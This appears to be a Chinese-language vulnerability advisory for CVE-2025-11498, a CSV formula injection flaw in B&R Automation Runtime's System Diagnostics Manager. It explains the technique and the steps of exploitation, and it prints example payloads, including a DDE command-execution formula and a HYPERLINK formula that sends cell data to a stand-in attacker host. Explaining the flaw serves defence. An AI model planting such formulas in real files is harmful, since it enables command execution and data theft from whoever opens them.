CVE-2025-11498CVE-2025-11498是B&R Automation Runtime中System Diagnostics Manager(SDM,系统诊断管理器)组件存在的一个CSV公式注入漏洞。该漏洞源于系统对CSV文件中公式元素(Formula Elements)的不当中和处理(Improper Neutralization),属于CWE-1236类别。攻击者可以利用此漏洞,通过构造恶意链接,诱导用户点击后,使SDM生成的CSV诊断报告中包含恶意的公式内容。当用户手动打开该CSV文件时,电子表格应用程序(如Microsoft Excel、LibreOffice Calc等)会自动解析并执行文件中的公式,从而导致数据泄露、远程代码执行或其他恶意行为。该漏洞的CVSS 3.1评分为6.1分,属于中危级别,影响范围为B&R Automation Runtime 6.4之前的所有版本。B&R Automation Runtime是B&R公司(现为ABB集团成员)开发的工业自动化控制软件,广泛应用于工业控制系统(ICS)和SCADA系统中。该漏洞由ABB的网络安全团队([email protected])发现并报告,体现了工业控制系统安全领域对供应链和应用层安全的持续关注。攻击向量为网络级(AV:N),无需认证(PR:N),但需要用户交互(UI:R),且存在范围变化(S:C),表明该漏洞可能影响到SDM组件之外的资源。
该漏洞的核心技术原理是CSV公式注入(也称为CSV Injection或Formula Injection)。CSV文件本质上是以逗号分隔的纯文本文件,但当电子表格应用程序打开CSV文件时,会自动识别以特定字符(如=、+、-、@)开头的单元格内容为公式并尝试执行。
在B&R Automation Runtime的SDM组件中,当用户通过恶意链接请求生成诊断报告时,系统未能对用户可控的输入数据进行充分的过滤和转义处理。攻击者可以在链接参数中注入包含公式语法的恶意字符串,例如以=cmd|' /C calc'!A0或=HYPERLINK("http://attacker.com/?data="&A1, "Click")等格式的payload。当SDM生成CSV诊断文件时,这些恶意公式被原样写入文件内容中。
利用流程如下:
1. 攻击者构造包含恶意公式payload的特殊链接;
2. 受害者通过浏览器点击该链接,触发SDM生成诊断CSV报告;
3. SDM将包含恶意公式的数据写入生成的CSV文件中;
4. 受害者下载并手动打开该CSV文件;
5. 电子表格应用程序解析CSV时执行恶意公式,可能导致:
- 通过DDE(Dynamic Data Exchange)执行本地命令;
- 通过HYPERLINK函数窃取本地文件数据并外传;
- 利用WEBSERVICE函数进行服务端请求伪造(SSRF);
- 泄露本地敏感信息到攻击者控制的服务器。
该漏洞的影响范围为B&R Automation Runtime 6.4之前的版本,建议用户升级到6.4或更高版本以修复该问题。